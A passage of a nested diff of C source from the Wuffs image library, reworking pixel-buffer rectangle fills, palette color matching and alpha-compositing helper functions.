wuffs_base__poke_u16le__no_bounds_check( -+ row + (2 * ((size_t)x)), -+ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); -+ break; -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ wuffs_base__poke_u24le__no_bounds_check(row + (3 * ((size_t)x)), color); -+ break; -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ wuffs_base__poke_u32le__no_bounds_check( -+ row + (4 * ((size_t)x)), -+ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -+ color)); -+ break; -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ wuffs_base__poke_u64le__no_bounds_check( -+ row + (8 * ((size_t)x)), -+ wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( -+ color)); -+ break; - -- while (n >= 1) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- uint8_t s2 = s[2]; -- d[0] = s2; -- d[1] = s1; -- d[2] = s0; -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ wuffs_base__poke_u24le__no_bounds_check( -+ row + (3 * ((size_t)x)), -+ wuffs_private_impl__swap_u32_argb_abgr(color)); -+ break; -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ wuffs_base__poke_u32le__no_bounds_check( -+ row + (4 * ((size_t)x)), -+ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -+ wuffs_private_impl__swap_u32_argb_abgr(color))); -+ break; -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ wuffs_base__poke_u32le__no_bounds_check( -+ row + (4 * ((size_t)x)), -+ wuffs_private_impl__swap_u32_argb_abgr(color)); -+ break; - -- s += 1 * 4; -- d += 1 * 3; -- n -= 1; -+ default: -+ // TODO: support more formats. -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - -- return len; -+ return wuffs_base__make_status(NULL); - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__rgba_premul__src_over(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+// -------- - -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t dr = 0x101 * ((uint32_t)d[2]); -- uint32_t dg = 0x101 * ((uint32_t)d[1]); -- uint32_t db = 0x101 * ((uint32_t)d[0]); -- uint32_t sa = 0x101 * ((uint32_t)s[3]); -- uint32_t sb = 0x101 * ((uint32_t)s[2]); -- uint32_t sg = 0x101 * ((uint32_t)s[1]); -- uint32_t sr = 0x101 * ((uint32_t)s[0]); -+static inline void // -+wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xx( -+ wuffs_base__pixel_buffer* pb, -+ wuffs_base__rect_ie_u32 rect, -+ uint16_t color) { -+ size_t stride = pb->private_impl.planes[0].stride; -+ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); -+ if ((stride == (2 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { -+ uint8_t* ptr = -+ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); -+ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); -+ size_t n; -+ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { -+ wuffs_base__poke_u16le__no_bounds_check(ptr, color); -+ ptr += 2; -+ } -+ return; -+ } - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+ uint32_t y; -+ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { -+ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + -+ (2 * ((size_t)rect.min_incl_x)); -+ uint32_t n; -+ for (n = width; n > 0; n--) { -+ wuffs_base__poke_u16le__no_bounds_check(ptr, color); -+ ptr += 2; -+ } -+ } -+} - -- // Composite src (premul) over dst (premul). -- dr = sr + ((dr * ia) / 0xFFFF); -- dg = sg + ((dg * ia) / 0xFFFF); -- db = sb + ((db * ia) / 0xFFFF); -+static inline void // -+wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxx( -+ wuffs_base__pixel_buffer* pb, -+ wuffs_base__rect_ie_u32 rect, -+ uint32_t color) { -+ size_t stride = pb->private_impl.planes[0].stride; -+ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); -+ if ((stride == (3 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { -+ uint8_t* ptr = -+ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); -+ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); -+ size_t n; -+ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { -+ wuffs_base__poke_u24le__no_bounds_check(ptr, color); -+ ptr += 3; -+ } -+ return; -+ } - -- // Convert from 16-bit color to 8-bit color. -- d[0] = (uint8_t)(db >> 8); -- d[1] = (uint8_t)(dg >> 8); -- d[2] = (uint8_t)(dr >> 8); -+ uint32_t y; -+ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { -+ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + -+ (3 * ((size_t)rect.min_incl_x)); -+ uint32_t n; -+ for (n = width; n > 0; n--) { -+ wuffs_base__poke_u24le__no_bounds_check(ptr, color); -+ ptr += 3; -+ } -+ } -+} - -- s += 1 * 4; -- d += 1 * 3; -- n -= 1; -+static inline void // -+wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( -+ wuffs_base__pixel_buffer* pb, -+ wuffs_base__rect_ie_u32 rect, -+ uint32_t color) { -+ size_t stride = pb->private_impl.planes[0].stride; -+ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); -+ if ((stride == (4 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { -+ uint8_t* ptr = -+ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); -+ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); -+ size_t n; -+ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { -+ wuffs_base__poke_u32le__no_bounds_check(ptr, color); -+ ptr += 4; -+ } -+ return; - } - -- return len; -+ uint32_t y; -+ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { -+ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + -+ (4 * ((size_t)rect.min_incl_x)); -+ uint32_t n; -+ for (n = width; n > 0; n--) { -+ wuffs_base__poke_u32le__no_bounds_check(ptr, color); -+ ptr += 4; -+ } -+ } - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__rgbx(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+static inline void // -+wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( -+ wuffs_base__pixel_buffer* pb, -+ wuffs_base__rect_ie_u32 rect, -+ uint64_t color) { -+ size_t stride = pb->private_impl.planes[0].stride; -+ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); -+ if ((stride == (8 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { -+ uint8_t* ptr = -+ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); -+ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); -+ size_t n; -+ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { -+ wuffs_base__poke_u64le__no_bounds_check(ptr, color); -+ ptr += 8; -+ } -+ return; -+ } - -- // TODO: unroll. -+ uint32_t y; -+ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { -+ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + -+ (8 * ((size_t)rect.min_incl_x)); -+ uint32_t n; -+ for (n = width; n > 0; n--) { -+ wuffs_base__poke_u64le__no_bounds_check(ptr, color); -+ ptr += 8; -+ } -+ } -+} - -- while (n >= 1) { -- uint8_t b0 = s[0]; -- uint8_t b1 = s[1]; -- uint8_t b2 = s[2]; -- d[0] = b2; -- d[1] = b1; -- d[2] = b0; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status // -+wuffs_base__pixel_buffer__set_color_u32_fill_rect( -+ wuffs_base__pixel_buffer* pb, -+ wuffs_base__rect_ie_u32 rect, -+ wuffs_base__color_u32_argb_premul color) { -+ if (!pb) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } else if (wuffs_base__rect_ie_u32__is_empty(&rect)) { -+ return wuffs_base__make_status(NULL); -+ } -+ wuffs_base__rect_ie_u32 bounds = -+ wuffs_base__pixel_config__bounds(&pb->pixcfg); -+ if (!wuffs_base__rect_ie_u32__contains_rect(&bounds, rect)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } - -- s += 1 * 4; -- d += 1 * 3; -- n -= 1; -+ if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { -+ // TODO: support planar formats. -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - -- return len; --} -+ switch (pb->pixcfg.private_impl.pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx(pb, rect, -+ color); -+ return wuffs_base__make_status(NULL); - --// -------- -+ // Common formats above. Rarer formats below. - --static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xx( -+ pb, rect, -+ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); -+ return wuffs_base__make_status(NULL); - -- while (n >= 1) { -- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxx(pb, rect, -+ color); -+ return wuffs_base__make_status(NULL); - -- s += 1 * 4; -- d += 1 * 4; -- n -= 1; -- } -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( -+ pb, rect, -+ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -+ color)); -+ return wuffs_base__make_status(NULL); - -- return len; --} -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( -+ pb, rect, -+ wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( -+ color)); -+ return wuffs_base__make_status(NULL); - --static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( -+ pb, rect, -+ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -+ wuffs_private_impl__swap_u32_argb_abgr(color))); -+ return wuffs_base__make_status(NULL); - -- size_t n = len; -- while (n >= 1) { -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__color_u64__as__color_u32( -- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( -+ pb, rect, wuffs_private_impl__swap_u32_argb_abgr(color)); -+ return wuffs_base__make_status(NULL); -+ } - -- s += 1 * 8; -- d += 1 * 4; -- n -= 1; -+ uint32_t y; -+ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { -+ uint32_t x; -+ for (x = rect.min_incl_x; x < rect.max_excl_x; x++) { -+ wuffs_base__pixel_buffer__set_color_u32_at(pb, x, y, color); -+ } - } -- return len; -+ return wuffs_base__make_status(NULL); - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -- -- while (n >= 1) { -- uint64_t d0 = wuffs_base__color_u32__as__color_u64( -- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); -- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__color_u64__as__color_u32( -- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0))); -+// -------- - -- s += 1 * 8; -- d += 1 * 4; -- n -= 1; -+WUFFS_BASE__MAYBE_STATIC uint8_t // -+wuffs_base__pixel_palette__closest_element( -+ wuffs_base__slice_u8 palette_slice, -+ wuffs_base__pixel_format palette_format, -+ wuffs_base__color_u32_argb_premul c) { -+ size_t n = palette_slice.len / 4; -+ if (n > (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -+ n = (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4); - } -+ size_t best_index = 0; -+ uint64_t best_score = 0xFFFFFFFFFFFFFFFF; - -- return len; --} -- --static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ // Work in 16-bit color. -+ uint32_t ca = 0x101 * (0xFF & (c >> 24)); -+ uint32_t cr = 0x101 * (0xFF & (c >> 16)); -+ uint32_t cg = 0x101 * (0xFF & (c >> 8)); -+ uint32_t cb = 0x101 * (0xFF & (c >> 0)); - -- while (n >= 1) { -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); -+ switch (palette_format.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { -+ bool nonpremul = palette_format.repr == -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL; - -- s += 1 * 4; -- d += 1 * 4; -- n -= 1; -+ size_t i; -+ for (i = 0; i < n; i++) { -+ // Work in 16-bit color. -+ uint32_t pb = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 0])); -+ uint32_t pg = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 1])); -+ uint32_t pr = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 2])); -+ uint32_t pa = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 3])); -+ -+ // Convert to premultiplied alpha. -+ if (nonpremul && (pa != 0xFFFF)) { -+ pb = (pb * pa) / 0xFFFF; -+ pg = (pg * pa) / 0xFFFF; -+ pr = (pr * pa) / 0xFFFF; -+ } -+ -+ // These deltas are conceptually int32_t (signed) but after squaring, -+ // it's equivalent to work in uint32_t (unsigned). -+ pb -= cb; -+ pg -= cg; -+ pr -= cr; -+ pa -= ca; -+ uint64_t score = ((uint64_t)(pb * pb)) + ((uint64_t)(pg * pg)) + -+ ((uint64_t)(pr * pr)) + ((uint64_t)(pa * pa)); -+ if (best_score > score) { -+ best_score = score; -+ best_index = i; -+ } -+ } -+ break; -+ } - } - -- return len; -+ return (uint8_t)best_index; - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+// -------- - -- while (n >= 1) { -- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__composite_nonpremul_premul_u32_axxx(d0, s0)); -+static inline uint32_t // -+wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx( -+ uint32_t dst_nonpremul, -+ uint32_t src_nonpremul) { -+ // Extract 16-bit color components. -+ // -+ // If the destination is transparent then SRC_OVER is equivalent to SRC: just -+ // return src_nonpremul. This isn't just an optimization (skipping the rest -+ // of the function's computation). It also preserves the nonpremul -+ // distinction between e.g. transparent red and transparent blue that would -+ // otherwise be lost by converting from nonpremul to premul and back. -+ uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); -+ if (da == 0) { -+ return src_nonpremul; -+ } -+ uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); -+ uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); -+ uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); -+ uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); -+ uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); -+ uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); -+ uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); - -- s += 1 * 4; -- d += 1 * 4; -- n -= 1; -+ // Convert dst from nonpremul to premul. -+ dr = (dr * da) / 0xFFFF; -+ dg = (dg * da) / 0xFFFF; -+ db = (db * da) / 0xFFFF; -+ -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (nonpremul) over dst (premul). -+ da = sa + ((da * ia) / 0xFFFF); -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ -+ // Convert dst from premul to nonpremul. -+ if (da != 0) { -+ dr = (dr * 0xFFFF) / da; -+ dg = (dg * 0xFFFF) / da; -+ db = (db * 0xFFFF) / da; - } - -- return len; -+ // Convert from 16-bit color to 8-bit color. -+ da >>= 8; -+ dr >>= 8; -+ dg >>= 8; -+ db >>= 8; -+ -+ // Combine components. -+ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul__index_bgra_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -+static inline uint64_t // -+wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx( -+ uint64_t dst_nonpremul, -+ uint64_t src_nonpremul) { -+ // Extract components. -+ // -+ // If the destination is transparent then SRC_OVER is equivalent to SRC: just -+ // return src_nonpremul. This isn't just an optimization (skipping the rest -+ // of the function's computation). It also preserves the nonpremul -+ // distinction between e.g. transparent red and transparent blue that would -+ // otherwise be lost by converting from nonpremul to premul and back. -+ uint64_t da = 0xFFFF & (dst_nonpremul >> 48); -+ if (da == 0) { -+ return src_nonpremul; - } -- size_t dst_len4 = dst_len / 4; -- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); -+ uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); -+ uint64_t db = 0xFFFF & (dst_nonpremul >> 0); -+ uint64_t sa = 0xFFFF & (src_nonpremul >> 48); -+ uint64_t sr = 0xFFFF & (src_nonpremul >> 32); -+ uint64_t sg = 0xFFFF & (src_nonpremul >> 16); -+ uint64_t sb = 0xFFFF & (src_nonpremul >> 0); - -- // TODO: unroll. -+ // Convert dst from nonpremul to premul. -+ dr = (dr * da) / 0xFFFF; -+ dg = (dg * da) / 0xFFFF; -+ db = (db * da) / 0xFFFF; - -- while (n >= 1) { -- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint64_t ia = 0xFFFF - sa; - -- s += 1 * 1; -- d += 1 * 4; -- n -= 1; -+ // Composite src (nonpremul) over dst (premul). -+ da = sa + ((da * ia) / 0xFFFF); -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ -+ // Convert dst from premul to nonpremul. -+ if (da != 0) { -+ dr = (dr * 0xFFFF) / da; -+ dg = (dg * 0xFFFF) / da; -+ db = (db * 0xFFFF) / da; - } - -- return len; -+ // Combine components. -+ return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+static inline uint32_t // -+wuffs_private_impl__composite_nonpremul_premul_u32_axxx(uint32_t dst_nonpremul, -+ uint32_t src_premul) { -+ // Extract 16-bit color components. -+ uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); -+ uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); -+ uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); -+ uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); -+ uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); -+ uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); -+ uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); -+ uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); - -- while (n >= 1) { -- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); -+ // Convert dst from nonpremul to premul. -+ dr = (dr * da) / 0xFFFF; -+ dg = (dg * da) / 0xFFFF; -+ db = (db * da) / 0xFFFF; - -- s += 1 * 4; -- d += 1 * 4; -- n -= 1; -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (premul) over dst (premul). -+ da = sa + ((da * ia) / 0xFFFF); -+ dr = sr + ((dr * ia) / 0xFFFF); -+ dg = sg + ((dg * ia) / 0xFFFF); -+ db = sb + ((db * ia) / 0xFFFF); -+ -+ // Convert dst from premul to nonpremul. -+ if (da != 0) { -+ dr = (dr * 0xFFFF) / da; -+ dg = (dg * 0xFFFF) / da; -+ db = (db * 0xFFFF) / da; - } - -- return len; -+ // Convert from 16-bit color to 8-bit color. -+ da >>= 8; -+ dr >>= 8; -+ dg >>= 8; -+ db >>= 8; -+ -+ // Combine components. -+ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+static inline uint64_t // -+wuffs_private_impl__composite_nonpremul_premul_u64_axxx(uint64_t dst_nonpremul, -+ uint64_t src_premul) { -+ // Extract components. -+ uint64_t da = 0xFFFF & (dst_nonpremul >> 48); -+ uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); -+ uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); -+ uint64_t db = 0xFFFF & (dst_nonpremul >> 0); -+ uint64_t sa = 0xFFFF & (src_premul >> 48); -+ uint64_t sr = 0xFFFF & (src_premul >> 32); -+ uint64_t sg = 0xFFFF & (src_premul >> 16); -+ uint64_t sb = 0xFFFF & (src_premul >> 0); - -- while (n >= 1) { -- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); -+ // Convert dst from nonpremul to premul. -+ dr = (dr * da) / 0xFFFF; -+ dg = (dg * da) / 0xFFFF; -+ db = (db * da) / 0xFFFF; - -- s += 1 * 4; -- d += 1 * 4; -- n -= 1; -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint64_t ia = 0xFFFF - sa; -+ -+ // Composite src (premul) over dst (premul). -+ da = sa + ((da * ia) / 0xFFFF); -+ dr = sr + ((dr * ia) / 0xFFFF); -+ dg = sg + ((dg * ia) / 0xFFFF); -+ db = sb + ((db * ia) / 0xFFFF); -+ -+ // Convert dst from premul to nonpremul. -+ if (da != 0) { -+ dr = (dr * 0xFFFF) / da; -+ dg = (dg * 0xFFFF) / da; -+ db = (db * 0xFFFF) / da; - } - -- return len; -+ // Combine components. -+ return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+static inline uint32_t // -+wuffs_private_impl__composite_premul_nonpremul_u32_axxx( -+ uint32_t dst_premul, -+ uint32_t src_nonpremul) { -+ // Extract 16-bit color components. -+ uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); -+ uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); -+ uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); -+ uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); -+ uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); -+ uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); 